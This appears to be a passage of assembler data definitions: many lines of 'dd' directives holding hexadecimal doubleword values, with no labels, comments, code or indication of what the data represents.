dd 50A4F7D5h, 0B23C122Fh, 72F201D8h, 94C8BC19h, 2EA128CCh
dd 0C0C080B0h, 6C6291F4h, 12547682h, 0BFD20347h, 700106A7h
dd 0EE3AD756h, 213A5D85h, 861A5A60h, 6FCA9981h, 782A5840h
dd 0E43A0050h, 92C10025h, 56575E9Ch, 0D82823CFh, 6406648Ah
dd 41282572h, 386FB089h, 0A84029Ch, 0BC3F0CE0h, 0D84F0F78h
dd 211363h, 406E22B7h, 4A715A28h, 2A00C8C3h, 2C52BE8Dh
dd 7EF3FC88h, 0D7D41268h, 5370B020h, 25F6B088h, 94003689h
dd 0FD82FE94h, 7501549Eh, 0D32FC60h, 0CA44442Fh, 1A07446Fh
dd 0D2A83F41h, 133C7C28h, 6C21988Ah, 0FD33DFEh, 35730C69h
dd 0B6081213h, 9867E06Ch, 0F67A04ADh, 0A45EBEB1h, 9A5618ECh
dd 41F616C4h, 8CFE8C91h, 233C3B6Fh, 0EAB5004Fh, 0D6790C92h
dd 0C3B72E03h, 0F566C66Bh, 0F8627CE8h, 745E0EE8h, 8C50684Ch
dd 0D3DCBA05h, 6CCE9BDDh
dd 0DCB29C00h, 492D6583h, 347C3F02h, 0D9337895h, 18767914h
dd 0CDC13FAAh, 30826EBBh, 0B73F8061h, 0AC804074h, 62479A94h
dd 0D32F00CEh, 0EC4C225Ah, 0D5698344h, 7828F349h, 0AA0216FFh
dd 0ADF0ED1Ch, 60523Eh, 0F6877F70h, 192F7AD0h, 0AFB8303Eh
dd 13542407h, 6BCB4ECh, 0C529028Ch, 0E732EF82h, 2B002066h
dd 703FC36Ah, 24B65101h, 1EE8BAC5h, 941460F2h, 5EBF6B08h
dd 8C147402h, 7B584A97h, 322F70C4h, 826DCA3Bh, 0BF12A829h
dd 7B40E241h, 1495A58Ch, 15801691h, 0D6E1A668h, 5B36C8EFh
dd 8E024502h, 0CA12A194h, 0CA0C244h, 97147858h, 44A7A095h
dd 9A879A4h, 0DFD25876h, 0ADB4E898h, 6920E500h, 39BE1DF6h
dd 7540E31h, 2D407A87h, 18C14785h, 0E88C9B5Ah, 0F29F09C7h
dd 40E40A7Ch, 2F3FC245h, 512384h, 67DEBA60h, 5C0F08CAh
dd 596E9196h, 2992EFF8h, 1B8B257h, 2EC6F6BFh, 202FA1B5h
dd 358B0690h, 3882564Ah, 5E345636h, 0A3007546h, 85968704h
dd 0A6122A8Fh, 0D0BCA0F2h, 78748D4Bh, 25E72210h, 84ECAC18h
dd 48201E6Eh, 0B194021Bh, 0CC7285B2h, 0A2F5220h, 16DD241Ch
dd 0BD38B8ECh, 4C872904h, 0B88CA9FFh, 188A05FDh, 3A0EA342h
dd 3762380h, 71AE6930h, 168D0280h, 2FDC009Dh, 800B78D2h
dd 1A5EBEFFh, 53C8A8CBh, 0EAA3EDC0h, 26CF00A1h, 0F3ECC8B5h
dd 160177D3h, 23D685A7h, 487574DBh, 78A28C23h, 170FC30h
dd 6841B03Ah, 7E5E9194h, 10E88004h, 0B6D74CB8h, 0C1B1E008h
dd 2F750463h, 0AB22D8DAh, 1A00E87Ah, 782141DAh, 37804FAEh
dd 0B47BF697h, 71465ECCh, 0D0CAFE07h, 381B8008h, 0C7002E31h
dd 0EFD1B3E5h, 1FD629F3h, 5F620353h, 0F2A705B2h, 0A198F084h
dd 7BB99E58h, 7225A4B0h, 0B6C8EE85h, 11465ED0h, 9F4B1D0Bh
dd 178BD889h, 13B6D802h, 0CDECAB55h, 0A6760CCh, 0F9089DA1h
dd 0BF09138h, 0C4846D81h, 5058A8A3h, 3A627A01h, 0C41EE070h
dd 26418F4h, 9F18711Ch, 5E0B8C99h, 18885AD4h, 4987A994h
dd 0A230DC66h, 8A99192Eh, 0D68CAA65h, 446747Ch, 79864900h
dd 0D4AE90F3h, 0A3061109h, 9DDC78B5h, 0D60274B7h, 7427B94Ch
dd 0BE3283FCh, 0BFD01E50h, 680162A1h, 60786365h, 9AF459D7h
dd 705E69A5h, 23C1C802h, 0DCA456h, 0F80B903Dh, 0CDDD7B6h
dd 0F012472Ah, 780040B1h, 72404339h, 0C036DE5Bh, 0CE204471h
dd 9CB8F1EDh, 71666044h, 19CF038Eh, 371CD80Ah, 80D628AAh
dd 84466740h, 0ACC41CBAh, 0BDD800AEh, 1E69A2A5h, 0E9E1341Eh
dd 86C0481Eh, 71FA56D6h, 8912FBEh, 5D60A4EDh, 0BD26484h
dd 0CBEA73C9h, 7CC45CC7h, 786F2260h, 7600AD70h, 271A90EAh
dd 5B442h, 986637C1h, 93D0F520h, 3A05F4E0h, 47A9BF6Dh
dd 52F2FCA2h, 31CBA833h, 2FD90064h, 4A35E854h, 79557308h
dd 342FF8h, 78880CCEh, 0E8F232C0h, 0B0A4E047h, 6F8E20D0h
dd 76B2872Ch, 37097E1Dh, 0A8CCC0D4h, 152C20F2h, 31931A09h
dd 0D91C5961h, 5CDB180Ah, 0C8043C56h, 0B04B3C9Eh, 80BE2044h
dd 8BFCC525h, 1C90E024h, 0FD12A69Fh, 0A5DCD7h, 5ADB2088h
dd 4674E0A4h, 16F61C7Ch, 3C7A0C47h, 0E0813652h, 27F1B6A3h
dd 38E05349h, 0EE03A8CAh, 4B5073B2h, 3EFBA0h, 339DB4A1h
dd 4F86D9C1h, 390E1B3Eh, 161E80C3h, 9B2F1027h, 74309870h
dd 0D71C38A3h, 0F2DCC8CBh, 8366CE00h, 70BB1F0Eh, 3F5E011Eh
dd 45DAEF6Fh, 0D0FBED7Dh, 0A05A477Eh, 407C60C0h, 294F6376h
dd 2040FAF7h, 8EE34718h, 935B2F49h, 570F48A3h, 650AE006h
dd 530281A8h, 0C59C3A9Ah, 0FA367088h, 77985503h, 0C89E41BEh
dd 25A0328Eh, 0CCD8B4F2h, 9A227E7Ah, 0FC5609EAh, 18803B02h
dd 0BAD4B04Eh, 8BB19C13h, 40F0BC53h, 14678A94h, 0C7601344h
dd 0FB02A83Ch, 0C47EA9ECh, 0E9445454h, 7611B097h, 72629780h
dd 0FE1DC589h, 0BA456BB9h, 0F21273A7h, 0F70610B0h, 382C76FDh
dd 71C7EA18h, 554B688Ah, 2B2B74DDh, 523D4h, 6613CF4Bh
dd 0D8007545h, 8CBC2AD6h, 0B45037E0h, 0A9B940DCh, 4701AE4Dh
dd 0A82F32DEh, 33EDEE21h, 3460B371h, 8D452718h, 52919417h
dd 808F2585h, 0EF171AEFh, 37D39412h, 606394A3h, 120AAC16h
dd 800FED68h, 79E07889h, 0B4410284h, 0D0E1ABD1h, 645EE652h
dd 41C858EBh, 44132E84h, 8EB0D4A7h, 0BA35A196h, 94AD6889h
dd 6A828D0h, 0CA2C008Ch, 31F4E22Bh, 2A02D5FDh, 3DD7DB0Dh
dd 0EE6CED24h, 407B2687h, 6C64CF33h, 76CE9601h, 0FB2A68A1h
dd 93C322Fh, 8018355Dh, 26D4F53Ch, 4900DB51h, 0D36B9E71h
dd 0B52EE784h, 43B8884h, 0B8B59C96h, 81DCDB2Fh, 5F89A264h
dd 1809887Ch, 0A45B0FACh, 0D435AFh, 22C1D1EFh, 7E07B77Ah
dd 0BCEC6F62h, 0FC55B501h, 0B27C742Fh, 3019B2C0h, 7D00954Dh
dd 0A5137815h, 0B3468F1h, 0CEEECA09h, 2637283h, 0B94175F0h
dd 3E397EF6h, 106F268Dh, 0C52E4787h, 144B7720h, 0C0410009h
dd 0E875D6B4h, 80AC64EAh, 0B011A833h, 0D4BDFCD9h, 0C5762DE8h
dd 24081A0Fh, 5FA0C0ECh, 276AFE40h, 50114B89h, 7879D241h
dd 8B1810D9h, 6D9B0E01h, 5FE19308h, 648D5882h, 3F201605h
dd 8A88CFh, 0AE8ED8EEh, 0A186FE44h, 0CD789417h, 7BC84CCBh
dd 69214DC0h, 0F4120074h, 685DBDE1h, 614FE59Ah, 85A8E451h
dd 10E5D924h, 47D5A888h, 0ECCA7401h, 78731022h, 2A3074B2h
dd 0D96D124Ch, 0CD088463h, 1D688820h, 0D88424Ah, 3C64A100h
dd 0CAC4A38Dh, 13300E5Ah, 4D11EFDh, 702E4F9Ah, 4AA21694h
dd 0DB3E5CB4h, 0D4DD58C1h, 447E2AEDh, 95EBE48h, 619C71B6h
dd 8083E124h, 7495AFC1h, 9FA82894h, 32365C41h, 300BF274h
dd 5A009418h, 4080FFF9h, 1A685D9h, 0E3D616A7h, 42AC15B2h
dd 705CE2F4h, 70AC7B49h, 81B75035h, 0C1569488h, 0AB29063h
dd 212A30h, 0C640FCF6h, 4813B759h, 0D4F0B872h, 94E0E04Ah
dd 81448B6h, 0EFDAA205h, 28E8063Eh, 0E200491Bh, 0BBAD204Ch
dd 458A7Dh, 0D2CC7A11h, 241C9DBAh, 81E9E712h, 90236CE1h
dd 75304AA2h, 2014B8A2h, 0CF02479Dh, 6A24D6BCh, 279C50DEh
dd 147104D2h, 4147860Ch, 28420080h, 3C9FC18Eh, 8F01ED03h
dd 71FBFAD2h, 908646D8h, 6030A841h, 0FC12814Ah, 0F64E40B7h
dd 0B239A14Ch, 8942ABC5h, 0D0205598h, 19FCD21Eh, 139B0C80h
dd 3B71F808h, 192368h, 12E9A066h, 99072E21h, 0D723CF1Ah
dd 518A89DCh, 40783C96h, 505EF20h, 5CF29FCAh, 800538ACh
dd 4ECF9A18h, 0C500BD98h, 1DA53E9Fh, 3797h, 56AC81FEh
dd 990439E5h, 6A3D7308h, 88EAA601h, 0EF788A18h, 0C20050B6h
dd 4421F0B3h, 74AF5CBDh, 8F745E09h, 1DDCF47Eh, 80D0E5E4h
dd 0A02F49BBh, 5E258F64h, 0F42CE059h, 68B98409h, 78187459h
dd 0A1F67B04h, 4AC5F06h, 0B819C812h, 4AF5B240h, 0DC1C7494h
dd 0E2FBA200h, 0F7B0F2A7h, 74A89C0Fh, 45077546h, 60E06FDBh
dd 15A7CC2Ch, 0A96A8613h, 4AB97088h, 0B294E398h, 61BA307Ch
dd 4330700Eh, 0E3860040h, 3CD9046h, 0D7C7068Bh, 0FC90AF8Fh
dd 34F89F3h, 961220F6h, 0AD4BD91h, 0F40308BBh, 28E22640h
dd 64CE9522h, 0A52EA81Ch, 888B08D3h, 8EC01988h, 10D7D3Ch
dd 68F28BE5h, 2453B58Ah, 5055EAF8h, 0F4DB3BB4h, 0F5680780h
dd 1B012BEDh, 0DCDE192Eh, 0AD04457Eh, 0BC4F881Ch, 4F916A13h
dd 5E02AF68h, 0FC5E0D8Ah, 0FFA77D00h, 4C3ACCB0h, 63229890h
dd 0E0A63B00h, 0F4446D36h
dd 0BECD0179h, 0C7E2FE9h, 681F2E97h, 0A072D843h, 542E9218h
dd 581247FCh, 9F186025h, 86F41364h, 0AE0E4D4h, 9565A080h
dd 842028E6h, 0B4274E0Dh, 4200CA2Ch, 5B62E717h, 69B472h
dd 1335E632h, 548F02E3h, 0D4F30C25h, 4FD2126Bh, 0DF019094h
dd 35B8DAA5h, 3C002B00h, 0E2F83ED6h, 0E27A4ADEh, 5A651078h
dd 539EA180h, 9417B4F2h, 5C203E4Dh, 4C1E4CACh, 853CA260h
dd 20047450h, 6400168Bh, 40AD5491h, 98217A0h, 7644B841h
dd 494E7884h, 1C707A3Fh, 806AF3A9h, 0BF878691h, 2C00BEAAh
dd 0EE6B69E3h, 2594BDEFh, 94729075h, 70E53925h, 0A6134490h
dd 44968528h, 1512DC10h, 1FC04E26h, 0BAF832C0h, 88224CE0h
dd 2515E080h, 10507D9Dh, 13BC4052h, 0F8E130CAh, 406182CCh
dd 0BD01755Eh, 0DE248FDAh, 0E99D8AF4h, 7A4A491Eh, 28593029h
dd 292AA1BDh, 19137198h, 7A7B1F4h, 0E20FBF70h, 0AA0934F8h
dd 0B64AF86Fh, 0D62414ACh, 72C69FE4h, 251846D5h, 44E2EBB6h
dd 465E1456h, 90FD134Ah, 488D7004h, 1B36A002h, 44B777h
dd 0ACB7BC82h, 1001A4C8h, 2461E2CBh, 202F3AF4h, 582FB228h
dd 0D34A7703h, 0C869053Dh, 1A7B063h, 9E421B0Eh, 2AF2ED28h
dd 0A07970D9h, 9F026DA8h, 0DD244758h, 42885E83h, 0B571C09h
dd 61846DE4h, 203C8F1Ch, 9257BB0h, 0AE40CD7Ch, 10465684h
dd 0E70DC204h, 3130F856h, 7EFC08B4h, 0BC28132Eh, 8C11EC70h
dd 0B5854800h, 0A7DC32D7h, 0B404E6CAh, 95F83B24h, 30F9C0C2h
dd 9E187BD9h, 94D3Bh, 0FCEC4445h, 1D8FF5Bh, 0DE0686FDh
dd 0A47E4FA7h, 70256809h, 10DD6178h, 0E8FCABB7h, 57099F15h
dd 5CF80A24h, 10E5599Ch, 2275708Ah, 60BE7FEFh, 2D1012DCh
dd 800C0856h, 0A19B1781h, 3034CAE2h, 279A30FCh, 0DDFF4C80h
dd 9D30418h, 921BB610h, 75720008h, 0A624DC44h, 0D40A3E6Eh
dd 0D0362033h, 410465Eh, 0A7185FB2h, 504427FAh, 0AFF2CF47h
dd 0E2993400h, 507A6053h, 4010038Fh, 20515E26h, 0F427FEECh
dd 772235A0h, 6B71008Eh, 3ED22450h, 0E10E5AECh, 8D23FB68h
dd 6040F184h, 5B185E7Fh, 0ACA03445h, 838813B0h, 5023283Eh
dd 1141B400h, 66468ABh, 0E2A5CB31h, 949561B0h, 1AE8245Ch
dd 5467C6Ch, 5B4F8600h, 9994715h, 0D27B20B0h, 617E9C81h
dd 0D261A1E8h, 14CE8F3Dh, 0ADDE1D23h, 6E7B0491h, 0A996A001h
dd 68866B8Eh, 590E27B7h, 47D12F03h, 0E81E8422h, 178F5FE1h
dd 40960h, 705A6415h, 225ADC66h, 0FD448800h, 0F9F38E2h
dd 2324153h, 823E24h, 1E90E757h, 0BAD103A8h, 2420D79Fh
dd 15FF18A0h, 19A46650h, 13941E40h, 92760A91h, 70E967FCh
dd 0E74C2635h, 3B4F64A0h, 269E208Ah, 7D0C1090h, 0B9495ADCh
dd 0D4670AFFh, 42881CF2h, 0B605666Ah, 2B004AFh, 0D786007Ch
dd 0C4A8CD6h, 67FE45C1h, 948019A0h, 9F872778h, 0E60014D1h
dd 6A232E20h, 9B283888h, 3F37E089h, 8BD5E0C2h, 0A7A85604h
dd 0B2784CF3h, 786E77CEh, 0BF8C1EFEh, 644467B6h, 2304A02h
dd 8291A678h, 844EACh, 0B171A790h, 4180AA04h, 82C0B6B4h
dd 17C87B2Ah, 0B6560869h, 22E6E040h, 0B6911295h, 0C184BD66h
dd 635EA196h, 498742Eh, 66B4684h, 951183Eh, 45ED8B06h
dd 74F2B422h, 0C6950C58h, 93CC0468h, 49172042h, 0D66C7C09h
dd 0C8166009h, 0AD687165h, 0C2717073h, 4B5AE020h, 0B849D1Ah
dd 0C04F8828h, 7E0E2D76h, 32D6B903h, 0B743DF0Dh, 233A1CE4h
dd 531A094Ah, 0A884A471h, 80B10CD2h, 1BD42C61h, 0B5627308h
dd 13C144EDh, 0A34764C5h, 0A30D2812h, 0E870DEC4h, 724A03E6h
dd 0C40095F7h, 86D16D5Fh, 0F09F2105h, 0B2C40841h, 4D233C2Eh
dd 0EACCC101h, 0F02223B6h, 1E77DA00h, 0A7F7A801h, 0B744E801h
dd 9EF935CDh, 5E2FA9E9h, 9268C580h, 0FE88E0C1h, 1F833E10h
dd 14AD1A3Fh, 0E0541083h, 5647913h, 0C094F892h, 0C90E0900h
dd 405E4C11h, 0BD902440h, 9BB101D0h, 708E9C5Eh, 49C8B044h
dd 259A688Fh, 38CE777Dh, 581510B0h, 68B187h, 0A58B4B48h
dd 7B89CC2Ch, 0E9F0295h, 1E2672DCh, 2842FC62h, 7449047h
dd 0BBE51D60h, 49D2C26h, 12FF6A17h, 0DE2020E7h, 82B55ED4h
dd 5D516C20h, 58456CBAh, 976304C4h, 3A0622E0h, 8DE04103h
dd 2F679FB0h, 48973EEEh, 41800C91h, 0E0B517D0h, 0DA989958h
dd 389C83C1h, 56978A6Eh, 54D6529Ch, 15EC2481h, 9F236B7h
dd 465E9474h, 280F1D0Ah, 5650C725h, 0E4E6085Ah, 0BD4966B0h
dd 7B02B4EAh, 6A4D21A3h, 0A037D590h, 21B6053Fh, 1CB8BDDEh
dd 0DAF4DC4Eh, 6F9D0973h, 2EE1407Ch, 0E04E23E3h, 13D385Ch
dd 4F47B3E6h, 0B822F2A0h, 8C21185Ch, 407C6DAFh, 9144FFE7h
dd 0F1AE8B01h, 27897B78h, 0AF00387Dh, 460C70CFh, 0CDE09EE9h
dd 1291D601h, 0FF8FD434h, 6B7FB961h, 3D0523B8h, 0E11B380h
dd 0BCDA4B38h, 9CB5D605h, 80408C3Eh, 2B1A2F81h, 2E5E2AAh
dd 10BE8ED5h, 0BA57CC89h, 60FC4D94h, 819B4353h, 0A4C2C45Bh
dd 0AFE85CA7h, 0AEB928B7h, 8A92189Ch, 0E9B57CBCh, 1D87A888h
dd 81B1C4F2h, 0FCE00D97h, 0CCC03EBEh, 4B86FF4Fh, 60D4B3ADh
dd 916E9408h, 0B618C1B7h, 0DF2E18A0h, 0B55920A6h, 6E3F1858h
dd 0AB60B9h, 5BFD1B6Ah, 30E2F0B0h, 78BC0A00h, 0F2E78C47h
dd 89BA2DC7h, 5F754D0h, 0D0CC0017h, 4909774h, 6B3E9EA1h
dd 0D195A5AEh, 5C922730h, 0EAC46740h, 2E0DC10Fh, 7168C03Ch
dd 134F543h, 970A7D82h, 6B784E89h, 0FC09F013h, 2F18F42Dh
dd 0F4C11CEDh, 172FDDD3h, 0B24CB330h, 0B785300Bh, 2D023B07h
dd 99C0C32Ch, 5BF28994h, 0C988F476h, 83199F12h, 20B8D0BDh
dd 50E98B2Fh, 25883BB0h, 0BCFDAB92h, 0F2A70B6Ch, 5EF0E070h
dd 84A12C6Ah, 0C81E41C0h, 306F7B0Ch, 0A08E3400h, 6801DE07h
dd 0F0FB90AAh, 7A686070h, 0ECEF265Ah, 1E9F02D4h, 94FCA28Ah
dd 6008A097h, 4CE5A58Bh, 49604CE4h, 0C805A7B0h, 0A915F423h
dd 6F96C4F8h, 0D21277C0h, 34BC4FE4h, 35B9AB80h, 0A800165Ch
dd 46C98F9Eh, 11D86Ah, 2D2A9FF8h, 0DDDA3132h, 0CD035327h
dd 8351C274h, 0B5279C65h, 6F8F0E58h, 8DC2D89h, 0B037C141h
dd 18297CCh, 4A24BFACh, 0D9C6E232h, 48312F63h, 0F1806286h
dd 423217BBh, 2001C3EEh, 2F748CEBh, 137B37F9h, 927005C4h
dd 2208A20Ah, 0D1284B66h, 0C4221110h, 0CA00C01Bh, 33EEB510h
dd 3218AFCDh, 3E6946A2h, 9380F454h, 0D82DDE31h, 98CA0077h
dd 0A1267AB4h, 545294F1h, 2CDA928Ch, 38555A80h, 150B29E4h
dd 0E1546F13h, 682C8468h, 28C4EECh, 94430D0Ah, 7474C27Dh
dd 0D43874E9h, 0DA2DC204h, 0CC1012C0h, 4E492510h, 0B19DDC80h
dd 59B1CB46h, 56C9F882h, 9CA4E325h, 0A6400618h, 4823DCCAh
dd 0DC13A04Bh, 30E13C52h, 839CDB3Ah, 0BA5535h, 0C0FA269Eh
dd 864A319h, 82492269h, 965D270h, 9460105Ch, 805DEEB1h
dd 4F20041Ch, 7FB1C015h, 8CBBDD64h, 0A6860600h, 0E873A90Dh
dd 5D94015Eh, 999AEBECh, 0B7E824FEh, 81421739h, 463F43BCh
dd 0F87C2CDAh, 25B6EF08h, 0B5E3A187h, 8B716FD0h, 86E83DFFh
dd 11146800h, 9AB216EFh, 4FFC8052h, 7B7768F2h, 0E7B3014Ch
dd 3E4F3790h, 9EA03022h, 0DA821C00h, 0C9D2C053h, 2EC9EDA1h
dd 0C76EB031h, 0DE85480Ch, 40B80AFCh, 52919609h, 2FB6E041h
dd 0C83A1C16h, 22004B23h, 8A64A187h, 0B048B5D9h, 7CEDA506h
dd 8C7CE864h, 99D8EC00h
dd 90160C08h, 9B4024F2h, 0FBF401ACh, 20A6CF41h, 5C406D40h
dd 98F209A8h, 0F8730FEEh, 34EAA604h, 38CF5888h, 125BD2A5h
dd 0A200AC2Ch, 5524CA80h, 8E007C37h, 0A50CAC14h, 2CB7BF1Dh
dd 56C0F101h, 0E4F59043h, 59F8848h, 0E79DB941h, 0C02CF4B7h
dd 1058F604h, 6880D7E9h, 252C34h, 1B8562C3h, 0A093DA45h
dd 0B4CF4F2Eh, 0D6EA6800h, 18243D9Eh, 0E9998A66h, 8E09D91Fh
dd 73738FBAh, 1525D8h, 3F807891h, 14809C45h, 0D2B6C913h
dd 0DD87F8F0h, 2925C69h, 72A5EEBBh, 8A0ED880h, 0E20B7768h
dd 40A44A04h, 0E93E894Ch, 0ECD26401h, 395EDFCEh, 77883C8Fh
dd 0E0B6C1C3h, 26CE5C63h, 40EC8651h, 879A8490h, 80AD130Fh
dd 2AC007Ah, 12A0F6B8h, 0AD6BF581h, 0F0A096D8h, 0BFDD75FAh
dd 18FC509Ah, 0E3C200D4h, 8F7B782Bh, 9000089Dh, 0AF7C0F95h
dd 0CAE1243Fh, 9C905771h, 99A842B6h, 18E7710Eh, 456052C4h
dd 0BE00632Ch, 0D496C551h, 1206881Dh, 8281396Bh, 0D45E3450h
dd 1E1D01DCh, 0CEBF6FA0h, 0BCEAF811h, 68D77BFFh, 0B97796F8h
dd 0D1738930h, 0E0201698h, 0B0F0CFC4h, 3021BE01h, 1EE8EA26h
dd 2F23188Eh, 594CF2A6h, 3C0C69B5h, 501B2711h, 0EDAD15B0h
dd 3F164500h, 0BE03D20Fh, 0E326062Bh, 0B9863DFEh, 0A0C67300h
dd 0EE8D51A4h, 11940465h, 0B8BAB662h, 8A7E05D8h, 8C0957BDh
dd 0C89C93B9h, 2E430DAh, 919540DFh, 1601888Ah, 0C77A2427h
dd 89B1C7C4h, 800084F0h, 9E579F47h, 1101940h, 4D945DECh
dd 3BDAFCE0h, 0FCE39884h, 66105E3Eh, 0D8C84B11h, 1724019Eh
dd 65C1A49h, 40907AA3h, 2DA63FFh, 25D5FCC7h, 0E0686934h
dd 97E9641Bh, 84447FE9h, 2C99203Fh, 73F8922Ah, 54708A20h
dd 182B9D3Eh, 0F2C1DCDCh, 60009B4h, 2970D9Bh, 55D86A20h
dd 4078E0A4h, 46B99D14h, 86358070h, 77E56A10h, 0D013F84Ch
dd 28BC0BF6h, 0A99AE848h, 10126C74h, 0ECD03E1Dh, 0C7BD12h
dd 88A53F2h, 5A89225Bh, 3902A47Dh, 488D8087h, 0CE0D49Fh
dd 0E1D9599Eh, 5BA93C25h, 0F4C52FB4h, 0A1674C64h, 605C4037h
dd 0B1C2F0DCh, 472704D8h, 6004C4F8h, 4D3CD43h, 54B6FD6Fh
dd 0D013ABD0h, 0C9B890B9h, 0FFD38501h, 3F5DEA40h, 6B00C16Eh
dd 90092A25h, 0DC007473h, 0A0F40FEh, 0CE244901h, 64572BB6h
dd 42CE2048h, 0F91E6525h, 180CF184h, 6DDD0372h, 5FA71912h
dd 68D6119h, 0D40183C0h, 709F6B01h, 39C06C90h, 0E9DDD958h
dd 15400D04h, 5D406186h, 6477E436h, 12FD9004h, 3CA89BF6h
dd 0BD708C20h, 9262C112h, 7A8CCADh, 2CE8008Ch, 18AD2D26h
dd 669514B4h, 406894C8h, 47ACD452h, 0B2701400h, 942F895Bh
dd 0BCEF4801h, 4F5110h, 953DDFCFh, 0CE405816h, 1E96E008h
dd 8F1932F3h, 465E2454h, 274B7173h, 85008C5Eh, 8724449Dh
dd 0A7B00086h, 3E03F451h, 0B65F963Dh, 3E238F6h, 8B188477h
dd 88D8B212h, 0D4F0A756h, 6C743109h, 25DC714Ch, 14789853h
dd 8F2E0994h, 0C856FE93h, 6273D660h, 0A89716A4h, 8888CD7Dh
dd 0B228391h, 305C9D1Bh, 545A0DE2h, 16467680h, 9481C600h
dd 0BCD23734h, 592DDDE0h, 425471C8h, 0C5091A78h, 6013E4CCh
dd 3089F698h, 0B7B885BEh, 0A5E99B08h, 171C6061h, 12EA4BB2h
dd 7810B15Ch, 8C13BC08h, 835AFA00h, 302402D8h, 4CF158E7h
dd 0ED8A4A02h, 0C8A3893Dh, 0EAC07671h, 0C839A6FFh, 0B25C8227h
dd 0D73F1B13h, 55D08822h, 0AC3C8209h, 44F92B08h, 6048CDA7h
dd 0B425A12Ah, 351C5BFEh, 0B87930D2h, 74606B44h, 0E2681200h
dd 0B196092Ch, 2F3CFC2Ah, 4E13AC98h, 0E5CD4C1Ch, 542FC9C0h
dd 19F6129h, 15FB4DDCh, 2C91238Ah, 849B4B80h, 0C6FACE80h
dd 0FB007814h, 0F423A833h, 98F6919h, 94CF156h, 8090B755h
dd 0BFE32A0Ah, 411C5F0Fh, 102764C0h, 4102A98Ch, 88826E6Ah
dd 6C645567h, 0F08F2F03h, 0F8D9EF91h, 0B05F2D27h, 7C770162h
dd 4FAE7548h, 0B48D6AD1h, 0F4D7DC68h, 0DF023C20h, 4DE34F2h
dd 950450E3h, 4D97E846h, 0FE0FC08Ch, 0E8258AB3h, 4870C4DDh
dd 596E5B16h, 450028Bh, 0DC2094h, 0D0E947C5h, 921E9F2Eh
dd 2009DE4Fh, 2D8C71B6h, 4A786C5Bh, 0F47E1D62h, 1816A0FEh
dd 10E25A9Fh, 0B070D109h, 73A7B873h, 5CF150F4h, 5DC26800h
dd 779E330Dh, 0D4E01484h, 0A65E984Fh, 7700F794h, 36228F8h
dd 33CB6590h, 0C1AE8638h, 8873C300h, 0F3DD2707h, 19E02C6h
dd 9BD7DAE3h, 0D660D45Ch, 6B404Ah, 1C969E78h, 72C8D264h
dd 0D5443A9Dh, 0AD0070B5h, 8F1A0943h, 0B18D0455h, 0C0FEAF48h
dd 0E7A6CFB8h, 0EB730627h, 0FAEE488h, 0E22FD38h, 0C08026F7h
dd 0F15DFCC9h, 0A019B722h, 0BDBF95Dh, 4869EC35h, 9217C801h
dd 0B4243F23h, 6265B481h, 92557402h, 18B757D4h, 1051B100h
dd 30968E5Eh, 74891AB7h, 47B87A58h, 0E900A4B1h, 0CDC31569h
dd 89EB0D03h, 2A510687h, 1CC0C0C8h, 40A8BC79h, 0E407052Fh
dd 0DF0339CCh, 273F5028h, 297F1Ah, 68A1BAE5h, 9E5563F4h
dd 5178DE8h, 0C0C80C7Ch, 71100015h, 0D53DB52Ah, 6203F3DEh
dd 0FECE4927h, 0EAC0CF93h, 2B69497h, 657A844h, 5048A5C6h
dd 720B5CB8h, 5E8F03A2h, 0EE00DCB8h, 324695DCh, 54D9E9Fh
dd 0FBBC0818h, 0F4C9C4B6h, 0F40016B4h, 9E073346h, 4C369C1h
dd 0A23EA094h, 0FC3FFBDAh, 98007123h, 0D2A77A63h, 0A4114A78h
dd 4B40ADB0h, 9F8B01CFh, 47E16694h, 3C952B3Fh, 0D23E03Ah
dd 0C5584001h, 5EEE708Ah, 0C8B76408h, 400D828h, 1A7B863Fh
dd 0E06DD426h, 0BDD50036h, 0EF9B90C6h, 970110D8h, 0CBF5F3FCh
dd 9B7BB5D3h, 0ED5F80D8h, 0B39A9BDh, 3EA66569h, 0C88AF010h
dd 72F40900h, 0EC4C609Fh, 0A96B395Dh, 0DA5B8889h, 314DB856h
dd 810C9B3Bh, 42B778CCh, 127A80D8h, 0F2A06532h, 8B278834h
dd 14717686h, 16106A08h, 0EB7CBC4Fh, 23582ED3h, 0B61C73h
dd 0CFC51BB5h, 0F24FA64Ch, 9A50A4D0h, 0AB04F505h, 83ED8029h
dd 0F30C7107h, 0AC2C0447h, 205B413Ch, 47F4A94h, 46D67CBEh
dd 3A1E0007h, 973C69FEh, 800E27A9h, 3C3664C9h, 10DB5F94h
dd 0BAE63780h, 955A146Ah, 50A218F6h, 16B6E230h, 14F9154h
dd 0D2A85671h, 2607C48h, 571E2242h, 5B5C5080h, 8028C5E8h
dd 0FD63CED8h, 4887C89Eh, 41C486D4h, 568080C2h, 1895EB2Ch
dd 168B4D91h, 0F056928Bh, 0C3B0026Bh, 94B8D70Dh, 0D01254F0h
dd 4CE361E1h, 80D6240Ch, 970B14A1h, 517F1B9Ch, 184FD9E4h
dd 5A6A0977h, 645C09E6h, 465C0CEAh, 0D28E0006h, 0A91A9AB9h
dd 18CB985h, 0BD408B64h, 0FADA61CCh, 50791C51h, 91003718h
dd 470828E7h, 79D8A7Ch, 0FCF20420h, 870BAB93h, 0A1122C76h
dd 2F7B54E2h, 1042516Ah, 1FA489D5h, 80759164h, 0AC5A3489h
dd 5F907121h, 0A2A84085h, 0A8D719B4h, 61F0F900h, 0F3A33D05h
dd 0ED5E2C4h, 0BB649AFBh, 15288D02h, 84B57F00h, 7782006Fh
dd 0DCEF9FA0h, 0BA277A9Dh, 0D108D935h, 569184Eh, 8B54CAC2h
dd 640FEBF5h, 589444E0h, 0AAC9CE9h, 0E4FC008Ch, 0B5BE3966h
dd 6A24EC95h, 94089C1Eh, 985925EFh, 3ADFFD80h, 0E43FAF92h
dd 0D0209FB7h, 8706111Ch, 0D2AB2C00h, 0BE3AE3FFh, 0F06E0463h
dd 0DB8D447Ch, 0C005884Ch, 0A2C154DCh, 0DE0550Fh, 0A94A0960h
dd 40F8FC8Ch, 6A957904h, 0C2B9210Bh, 67BC5C44h, 845C6B05h
dd 0B4548A51h, 0EEB8E8A9h, 48B62405h, 0E0FC6530h, 27C57E7Fh
dd 0DC6D7B2Ah, 0E09380C2h
dd 0BCD8F206h, 0F6AE01C4h, 6B640289h, 1CB75C12h, 851C9A4Bh
dd 0F0ABF0h, 0F1E89919h, 1B180Ah, 0E881ADFCh, 0F894CA4Ah
dd 0D5059C79h, 33D1E41Eh, 98E2F874h, 6E3012B2h, 0E1242529h
dd 0FC643429h, 9C8B2D00h, 99DE562Ch, 849F3D6Eh, 0E0DC3800h
